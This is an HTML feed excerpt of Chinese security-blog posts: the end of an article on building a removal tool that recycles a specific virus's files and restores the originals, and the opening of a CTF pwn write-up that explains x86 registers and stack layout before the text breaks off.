inherit;line-height: inherit;color: rgb(128, 128, 128);overflow-wrap: inherit !important;word-break: inherit !important;">// don&#39;t report progress</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 6</span>    shDelFile.fFlags |= FOF_NOERRORUI;     <span style="font-size: inherit;line-height: inherit;color: rgb(128, 128, 128);overflow-wrap: inherit !important;word-break: inherit !important;">// don&#39;t report errors</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 7</span>    shDelFile.fFlags |= FOF_NOCONFIRMATION;    <span style="font-size: inherit;line-height: inherit;color: rgb(128, 128, 128);overflow-wrap: inherit !important;word-break: inherit !important;">// don&#39;t confirm delete</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 8</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 9</span>    TCHAR buf[_MAX_PATH + <span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">1</span>]; <span style="font-size: inherit;line-height: inherit;color: rgb(128, 128, 128);overflow-wrap: inherit !important;word-break: inherit !important;">// allow one more character</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">10</span>    strcpy_s(buf, pszPath);   <span style="font-size: inherit;line-height: inherit;color: rgb(128, 128, 128);overflow-wrap: inherit !important;word-break: inherit !important;">// copy caller&#39;s pathname</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">11</span>    buf[<span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">strlen</span>(buf) + <span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">1</span>] = <span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">0</span>;   <span style="font-size: inherit;line-height: inherit;color: rgb(128, 128, 128);overflow-wrap: inherit !important;word-break: inherit !important;">// need two NULLs at end</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">12</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">13</span>                                 <span style="font-size: inherit;line-height: inherit;color: rgb(128, 128, 128);overflow-wrap: inherit !important;word-break: inherit !important;">// Set SHFILEOPSTRUCT params for delete operation</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">14</span>    shDelFile.wFunc = FO_DELETE;       <span style="font-size: inherit;line-height: inherit;color: rgb(128, 128, 128);overflow-wrap: inherit !important;word-break: inherit !important;">// REQUIRED: delete operation</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">15</span>    shDelFile.pFrom = buf;         <span style="font-size: inherit;line-height: inherit;color: rgb(128, 128, 128);overflow-wrap: inherit !important;word-break: inherit !important;">// REQUIRED: which file(s)</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">16</span>    shDelFile.pTo = <span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">NULL</span>;          <span style="font-size: inherit;line-height: inherit;color: rgb(128, 128, 128);overflow-wrap: inherit !important;word-break: inherit !important;">// MUST be NULL</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">17</span>    <span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">if</span> (bDelete)<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">18</span>    {         <span style="font-size: inherit;line-height: inherit;color: rgb(128, 128, 128);overflow-wrap: inherit !important;word-break: inherit !important;">// if delete requested..</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">19</span>        shDelFile.fFlags &amp;= ~FOF_ALLOWUNDO;    <span style="font-size: inherit;line-height: inherit;color: rgb(128, 128, 128);overflow-wrap: inherit !important;word-break: inherit !important;">// ..don&#39;t use Recycle Bin</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">20</span>    }<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">21</span>    <span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">else</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">22</span>    {           <span style="font-size: inherit;line-height: inherit;color: rgb(128, 128, 128);overflow-wrap: inherit !important;word-break: inherit !important;">// otherwise..</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">23</span>        shDelFile.fFlags |= FOF_ALLOWUNDO;    <span style="font-size: inherit;line-height: inherit;color: rgb(128, 128, 128);overflow-wrap: inherit !important;word-break: inherit !important;">// ..send to Recycle Bin</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">24</span>    }<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">25</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">26</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">27</span>    <span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">return</span> SHFileOperation(&amp;shDelFile);    <span style="font-size: inherit;line-height: inherit;color: rgb(128, 128, 128);overflow-wrap: inherit !important;word-break: inherit !important;">// do it!</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">28</span>}<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.7em;margin-bottom: 1.7em;">删除完毕后，如果存在原文件，就将原文件恢复。</p><figure style="font-size: inherit;color: inherit;line-height: inherit;"><img class="rich_pages wxw-img" data-ratio="1.1789264413518887" title="img" data-type="png" data-w="503" style="font-size: inherit;color: inherit;line-height: inherit;display: block;margin-right: auto;margin-left: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=3df607a4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fic56Y1PMq5MWI0VqudFK62Sso7ITrouwdNn3GOGJ6sqWdWqUyMJj81PB7a3jllAibstpgDPOsyBJhzibN2t454nzQ%2F640%3Fwx_fmt%3Dpng"/><figcaption style="line-height: inherit;margin-top: 10px;text-align: center;color: rgb(153, 153, 153);font-size: 0.7em;">img</figcaption></figure><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.7em;margin-bottom: 1.7em;">命令行的话可以使用<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(248, 35, 117);background: rgb(248, 248, 248);">attirb</code>，这里代码的话采用了<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(248, 35, 117);background: rgb(248, 248, 248);">SetFileAttributes</code>。并使用<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(248, 35, 117);background: rgb(248, 248, 248);">rename</code>将原文件恢复原名。主要代码：</p><pre style="font-size: inherit;color: inherit;line-height: inherit;"><code style="margin-right: 2px;margin-left: 2px;line-height: 18px;font-size: 14px;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);padding: 0.5em;overflow-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">1</span>SetFileAttributes(<span style="font-size: inherit;line-height: inherit;color: rgb(238, 220, 112);overflow-wrap: inherit !important;word-break: inherit !important;">&#34;gtest.exe&#34;</span>, FILE_ATTRIBUTE_NORMAL);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">2</span>rename(<span style="font-size: inherit;line-height: inherit;color: rgb(238, 220, 112);overflow-wrap: inherit !important;word-break: inherit !important;">&#34;gtest.exe&#34;</span>, <span style="font-size: inherit;line-height: inherit;color: rgb(238, 220, 112);overflow-wrap: inherit !important;word-break: inherit !important;">&#34;test.exe&#34;</span>);<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.7em;margin-bottom: 1.7em;">然后将上面的代码整合一下运行，添加日志记录。运行效果：</p><figure style="font-size: inherit;color: inherit;line-height: inherit;"><img class="rich_pages wxw-img" data-ratio="0.7482352941176471" title="img" data-type="png" data-w="850" style="font-size: inherit;color: inherit;line-height: inherit;display: block;margin-right: auto;margin-left: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=75de3a35&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fic56Y1PMq5MWI0VqudFK62Sso7ITrouwd5qn4HxWXguQa2Ca3MVvdjBWOohictegwjoSUwTCicoowUuACJSOxkGicw%2F640%3Fwx_fmt%3Dpng"/><figcaption style="line-height: inherit;margin-top: 10px;text-align: center;color: rgb(153, 153, 153);font-size: 0.7em;">img</figcaption></figure><blockquote style="box-sizing: border-box;padding: 15px 15px 15px 1rem;color: rgb(0, 0, 0);border-left-width: 5px;border-left-color: rgb(239, 112, 96);font-size: 0.9em;line-height: inherit;background: rgb(239, 235, 233);overflow: auto;overflow-wrap: normal;word-break: normal;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 2px;text-align: start;white-space: normal;word-spacing: 2px;"><p style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;"><span style="color: inherit;font-size: inherit;">这里执行的是感染后的&#34;专杀&#34;工具，可以看到又起了一个窗口，并执行了专杀工具。</span><span style="color: inherit;font-size: inherit;">最终也会将该文件恢复。</span><span style="color: inherit;font-size: inherit;">图上显示的仍为g开头，需要刷新一下即可。</span><br/></p></blockquote><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.7em;margin-bottom: 1.7em;">可以看到成功将病毒文件删除到回收站，并恢复原文件。</p><figure style="font-size: inherit;color: inherit;line-height: inherit;"><img class="rich_pages wxw-img" data-ratio="0.8361638361638362" title="img" data-type="png" data-w="1001" style="font-size: inherit;color: inherit;line-height: inherit;display: block;margin-right: auto;margin-left: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=05b8a3d4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fic56Y1PMq5MWI0VqudFK62Sso7ITrouwdy9pBtYSKGHxMwme1YgCRPHt37HESmhMXWVwA2bgEjXFKalZQSN1VAw%2F640%3Fwx_fmt%3Dpng"/><figcaption style="line-height: inherit;margin-top: 10px;text-align: center;color: rgb(153, 153, 153);font-size: 0.7em;">img</figcaption></figure><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.7em;margin-bottom: 1.7em;">删除的文件放在了回收站中。但从执行情况来看，有删除失败的文件，这是由于病毒文件正在执行，所以未能删除。要删除也可以，找到对应的pid，结束任务，再进行删除。这里就不再进行操作了。</p><h2 style="color: inherit;line-height: inherit;margin-top: 1.6em;margin-bottom: 1.6em;font-weight: bold;font-size: 1.4em;"><span style="font-size: inherit;color: inherit;line-height: inherit;">0x03 总结</span></h2><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.7em;margin-bottom: 1.7em;">本文简单实现了一个病毒专杀工具，用的比较简单和基础的方法，没有涉及太多复杂的内容。可能存在问题较多，还有许多需要完善的地方，不过针对当前这款病毒查杀暂时没多大问题。最重要的一点就是如何去确定病毒的特征码，这将作为能否删除病毒文件的关键。</p></section><p><br/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247486403">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=bcb00779&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzI1NDg4MTIxMw%3D%3D%26mid%3D2247486403%26idx%3D1%26sn%3D33f1abf56a3fca80d729e6c222e84dff%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 28 Oct 2022 08:05:00 +0800</pubDate>
    </item>
    <item>
      <title>CTF之初见PWN</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzI1NDg4MTIxMw==&amp;mid=2247486326&amp;idx=1&amp;sn=0b31137b45190e7aa003f27210b9233d</link>
      <description>前两天在一个CTF靶场做一个渗透测试题的时候，其中有一道题是PWN类型的，本着学习研究的态度，尝试做了一下。</description>
      <content:encoded><![CDATA[<p>
原创 <span>Gat1ta</span> <span>2022-09-06 08:02</span> <span style="display: inline-block;">北京</span>
</p>

<p>前两天在一个CTF靶场做一个渗透测试题的时候，其中有一道题是PWN类型的，本着学习研究的态度，尝试做了一下。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=cf7f52cf&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fic56Y1PMq5MVrGOfbNIMVjGXKDlnaPtgncujxMTCibqSjylbGPVdFOEA8XHCfEp083k0zwNFLFfUjAazcCgwoRBA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section style="font-size: 15px;color: rgb(62, 62, 62);line-height: 1.8;word-spacing: 2px;letter-spacing: 2px;font-family: &#39;Helvetica Neue&#39;, Helvetica, &#39;Hiragino Sans GB&#39;, &#39;Microsoft YaHei&#39;, Arial, sans-serif;background-image: linear-gradient(90deg, rgba(50, 0, 0, 0.05) 3%, rgba(0, 0, 0, 0) 3%), linear-gradient(360deg, rgba(50, 0, 0, 0.05) 3%, rgba(0, 0, 0, 0) 3%);background-size: 20px 20px;background-position: center center;"><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.7em;margin-bottom: 1.7em;">前两天在一个CTF靶场做一个渗透测试题的时候，其中有一道题是PWN类型的，本着学习研究的态度，尝试做了一下。在请教了几个大佬后终于是将题做了出来，本篇记录一下做题过程。</p><h3 style="color: inherit;line-height: inherit;margin-top: 1.6em;margin-bottom: 1.6em;font-weight: bold;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="font-size: inherit;line-height: inherit;display: inline-block;font-weight: normal;background: rgb(239, 112, 96);color: rgb(255, 255, 255);padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;">0x01 CPU以及栈结构</span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid rgb(239, 235, 233);border-right: 20px solid transparent;"> </span></h3><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.7em;margin-bottom: 1.7em;">想要学习二进制安全，不了解CPU是不行的，所以首先介绍一下CPU以及栈结构。CPU有好多架构，本文中的CPU针对X86架构。</p><h4 style="color: inherit;line-height: inherit;margin-top: 1.6em;margin-bottom: 1.6em;font-weight: bold;font-size: 1.2em;"><span style="font-size: inherit;color: inherit;line-height: inherit;">CPU的几种寄存器</span></h4><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.7em;margin-bottom: 1.7em;">寄存器是 CPU 内部用来存放数据的一些小型存储区域，用来暂时存放参与运算的数据和运算结果以及一些 CPU 运行需要的信息，寄存器类型主要分为如下类别：</p><ul style="font-size: inherit;color: inherit;line-height: inherit;padding-left: 32px;" class="list-paddingleft-1"><li style="font-size: inherit;color: inherit;line-height: inherit;margin-bottom: 0.5em;"><p><span style="font-size: inherit;color: inherit;line-height: inherit;">通用寄存器</span></p></li><li style="font-size: inherit;color: inherit;line-height: inherit;margin-bottom: 0.5em;"><p><span style="font-size: inherit;color: inherit;line-height: inherit;">标志寄存器</span></p></li><li style="font-size: inherit;color: inherit;line-height: inherit;margin-bottom: 0.5em;"><p><span style="font-size: inherit;color: inherit;line-height: inherit;">指令寄存器</span></p></li><li style="font-size: inherit;color: inherit;line-height: inherit;margin-bottom: 0.5em;"><p><span style="font-size: inherit;color: inherit;line-height: inherit;">段寄存器</span></p></li><li style="font-size: inherit;color: inherit;line-height: inherit;margin-bottom: 0.5em;"><p><span style="font-size: inherit;color: inherit;line-height: inherit;">控制寄存器</span></p></li><li style="font-size: inherit;color: inherit;line-height: inherit;margin-bottom: 0.5em;"><p><span style="font-size: inherit;color: inherit;line-height: inherit;">调试寄存器</span></p></li><li style="font-size: inherit;color: inherit;line-height: inherit;margin-bottom: 0.5em;"><p><span style="font-size: inherit;color: inherit;line-height: inherit;">描述符控制器</span></p></li><li style="font-size: inherit;color: inherit;line-height: inherit;margin-bottom: 0.5em;"><p><span style="font-size: inherit;color: inherit;line-height: inherit;">任务寄存器</span></p></li><li style="font-size: inherit;color: inherit;line-height: inherit;margin-bottom: 0.5em;"><p><span style="font-size: inherit;color: inherit;line-height: inherit;">MSR寄存器</span></p></li></ul><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.7em;margin-bottom: 1.7em;">本文简单了解一下通用寄存器和指令寄存器。</p><h5 style="color: inherit;line-height: inherit;margin-top: 1.6em;margin-bottom: 1.6em;font-weight: bold;font-size: 1em;"><span style="font-size: inherit;color: inherit;line-height: inherit;">1. 通用寄存器</span></h5><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.7em;margin-bottom: 1.7em;">最常用的，也是最基础的有8个通用寄存器（注意一般看到的EAX、ECX也是指的这类寄存器再32位CPU上的拓展，另外AL、AH之类是指的这类寄存器的低位、高位）：</p><table cellpadding="1" cellspacing="1"><tbody style="font-size: inherit;color: inherit;line-height: inherit;border-width: 0px;border-style: initial;border-color: initial;"><tr style="font-size: inherit;color: inherit;line-height: inherit;border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: white;"><td style="color: inherit;line-height: inherit;font-size: 1em;border-color: rgb(204, 204, 204);padding: 0.5em 1em;text-align: center;" width="63">寄存器</td><td style="color: inherit;line-height: inherit;font-size: 1em;border-color: rgb(204, 204, 204);padding: 0.5em 1em;text-align: center;word-break: break-all;" width="117">原文</td><td style="color: inherit;line-height: inherit;font-size: 1em;border-color: rgb(204, 204, 204);padding: 0.5em 1em;text-align: center;" width="158">解释</td><td style="color: inherit;line-height: inherit;font-size: 1em;border-color: rgb(204, 204, 204);padding: 0.5em 1em;text-align: center;" width="158">说明</td></tr><tr style="font-size: inherit;color: inherit;line-height: inherit;border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: rgb(248, 248, 248);"><td style="color: inherit;line-height: inherit;font-size: 1em;border-color: rgb(204, 204, 204);padding: 0.5em 1em;" width="36">AX</td><td style="color: inherit;line-height: inherit;font-size: 1em;border-color: rgb(204, 204, 204);padding: 0.5em 1em;" width="131">accumulator</td><td style="color: inherit;line-height: inherit;font-size: 1em;border-color: rgb(204, 204, 204);padding: 0.5em 1em;" width="156">累加寄存器</td><td style="color: inherit;line-height: inherit;font-size: 1em;border-color: rgb(204, 204, 204);padding: 0.5em 1em;" width="158">通常用来执行加法，函数调用的返回值一般也放在这里面</td></tr><tr style="font-size: inherit;color: inherit;line-height: inherit;border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: white;"><td style="color: inherit;line-height: inherit;font-size: 1em;border-color: rgb(204, 204, 204);padding: 0.5em 1em;" width="36">CX</td><td style="color: inherit;line-height: inherit;font-size: 1em;border-color: rgb(204, 204, 204);padding: 0.5em 1em;" width="131">counter    </td><td style="color: inherit;line-height: inherit;font-size: 1em;border-color: rgb(204, 204, 204);padding: 0.5em 1em;" width="156">计数寄存器</td><td style="color: inherit;line-height: inherit;font-size: 1em;border-color: rgb(204, 204, 204);padding: 0.5em 1em;" width="158">通常用来作为计数器，比如for循环</td></tr><tr style="font-size: inherit;color: inherit;line-height: inherit;border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: rgb(248, 248, 248);"><td style="color: inherit;line-height: inherit;font-size: 1em;border-color: rgb(204, 204, 204);padding: 0.5em 1em;" width="36">DX</td><td style="color: inherit;line-height: inherit;font-size: 1em;border-color: rgb(204, 204, 204);padding: 0.5em 1em;" width="131">data    </td><td style="color: inherit;line-height: inherit;font-size: 1em;border-color: rgb(204, 204, 204);padding: 0.5em 1em;" width="156">数据寄存器</td><td style="color: inherit;line-height: inherit;font-size: 1em;border-color: rgb(204, 204, 204);padding: 0.5em 1em;" width="158">数据存取</td></tr><tr style="font-size: inherit;color: inherit;line-height: inherit;border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: white;"><td style="color: inherit;line-height: inherit;font-size: 1em;border-color: rgb(204, 204, 204);padding: 0.5em 1em;" width="36">BX</td><td style="color: inherit;line-height: inherit;font-size: 1em;border-color: rgb(204, 204, 204);padding: 0.5em 1em;" width="131">base    </td><td style="color: inherit;line-height: inherit;font-size: 1em;border-color: rgb(204, 204, 204);padding: 0.5em 1em;" width="156">基址寄存器</td><td style="color: inherit;line-height: inherit;font-size: 1em;border-color: rgb(204, 204, 204);padding: 0.5em 1em;" width="158">读写I/O端口时，edx用来存放端口号</td></tr><tr style="font-size: inherit;color: inherit;line-height: inherit;border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: rgb(248, 248, 248);"><td style="color: inherit;line-height: inherit;font-size: 1em;border-color: rgb(204, 204, 204);padding: 0.5em 1em;" width="36">SP</td><td style="color: inherit;line-height: inherit;font-size: 1em;border-color: rgb(204, 204, 204);padding: 0.5em 1em;" width="131">stack pointer</td><td style="color: inherit;line-height: inherit;font-size: 1em;border-color: rgb(204, 204, 204);padding: 0.5em 1em;" width="156">栈指针寄存器</td><td style="color: inherit;line-height: inherit;font-size: 1em;border-color: rgb(204, 204, 204);padding: 0.5em 1em;" width="158">栈顶指针，指向栈的顶部</td></tr><tr style="font-size: inherit;color: inherit;line-height: inherit;border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: white;"><td style="color: inherit;line-height: inherit;font-size: 1em;border-color: rgb(204, 204, 204);padding: 0.5em 1em;" width="36">BP</td><td style="color: inherit;line-height: inherit;font-size: 1em;border-color: rgb(204, 204, 204);padding: 0.5em 1em;" width="131">base pointer</td><td style="color: inherit;line-height: inherit;font-size: 1em;border-color: rgb(204, 204, 204);padding: 0.5em 1em;" width="156">基址指针寄存器</td><td style="color: inherit;line-height: inherit;font-size: 1em;border-color: rgb(204, 204, 204);padding: 0.5em 1em;" width="158">栈底指针，指向栈的底部，通常用ebp+偏移量的形式来定位函数存放在栈中的局部变量</td></tr><tr style="font-size: inherit;color: inherit;line-height: inherit;border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: rgb(248, 248, 248);"><td style="color: inherit;line-height: inherit;font-size: 1em;border-color: rgb(204, 204, 204);padding: 0.5em 1em;" width="36">SI</td><td style="color: inherit;line-height: inherit;font-size: 1em;border-color: rgb(204, 204, 204);padding: 0.5em 1em;" width="131">source index</td><td style="color: inherit;line-height: inherit;font-size: 1em;border-color: rgb(204, 204, 204);padding: 0.5em 1em;" width="156">源变址寄存器</td><td style="color: inherit;line-height: inherit;font-size: 1em;border-color: rgb(204, 204, 204);padding: 0.5em 1em;" width="158">字符串操作时，用于存放数据源的地址</td></tr><tr style="font-size: inherit;color: inherit;line-height: inherit;border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: white;"><td style="color: inherit;line-height: inherit;font-size: 1em;border-color: rgb(204, 204, 204);padding: 0.5em 1em;" width="36">DI</td><td style="color: inherit;line-height: inherit;font-size: 1em;border-color: rgb(204, 204, 204);padding: 0.5em 1em;" width="131">destination index</td><td style="color: inherit;line-height: inherit;font-size: 1em;border-color: rgb(204, 204, 204);padding: 0.5em 1em;" width="156">目标变址寄存器</td><td style="color: inherit;line-height: inherit;font-size: 1em;border-color: rgb(204, 204, 204);padding: 0.5em 1em;" width="158">字符串操作时，用于存放目的地址的，和esi两个经常搭配一起使用，执行字符串的复制等操作</td></tr></tbody></table><h5 style="color: inherit;line-height: inherit;margin-top: 1.6em;margin-bottom: 1.6em;font-weight: bold;font-size: 1em;"><span style="font-size: inherit;color: inherit;line-height: inherit;">2. 指令寄存器</span></h5><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.7em;margin-bottom: 1.7em;">eip: 指令寄存器可以说是CPU中最最重要的寄存器了，它指向了下一条要执行的指令所存放的地址，CPU的工作其实就是不断取出它指向的指令，然后执行这条指令，同时指令寄存器继续指向下面一条指令，如此不断重复，这就是CPU工作的基本日常。</p><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.7em;margin-bottom: 1.7em;">在 x64 架构下，32位的 eip 升级为64位的 rip寄存器。</p><h4 style="color: inherit;line-height: inherit;margin-top: 1.6em;margin-bottom: 1.6em;font-weight: bold;font-size: 1.2em;"><span style="font-size: inherit;color: inherit;line-height: inherit;">栈结构</span></h4><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.7em;margin-bottom: 1.7em;">栈是一个先进后出(FILO)结构。把数据压入栈时用push进入；当从栈取出数据时用pop取出。栈随着数据被压入或者弹出而增长或者减小。最新压入栈的项被认为是在“栈的顶部”。当从栈中弹出一个项时，我们得到的是位于栈最顶部的那一个（即最新压入的那一个）。</p><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.7em;margin-bottom: 1.7em;">在x86体系中，栈顶由堆栈指针寄存器ESP来标记，它是一个32位寄存器，里面存放着最后一个压入栈顶的项的内存地址。正因为有它，我们才能够随时操作到需要的项。需要注意的是，栈顶是朝着低内存方向增长的。</p><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.7em;margin-bottom: 1.7em;">在程序执行期间，函数内部所有局部变量都是从栈中分配的内存空间。在程序编译期间，编译器会计算出函数中所需要的栈空间，在执行函数时，函数头部会有一条<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(248, 35, 117);background: rgb(248, 248, 248);">sub esp,xxx</code>来提升栈顶来容纳函数执行期间所需要的变量。</p><h4 style="color: inherit;line-height: inherit;margin-top: 1.6em;margin-bottom: 1.6em;font-weight: bold;font-size: 1.2em;"><span style="font-size: inherit;color: inherit;line-height: inherit;">程序执行过程</span></h4><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.7em;margin-bottom: 1.7em;">当我们调用一个函数时，C语言代码可能是这样的：</p><pre style="font-size: inherit;color: inherit;line-height: inherit;"><code style="margin-right: 2px;margin-left: 2px;line-height: 18px;font-size: 14px;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);padding: 0.5em;overflow-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: 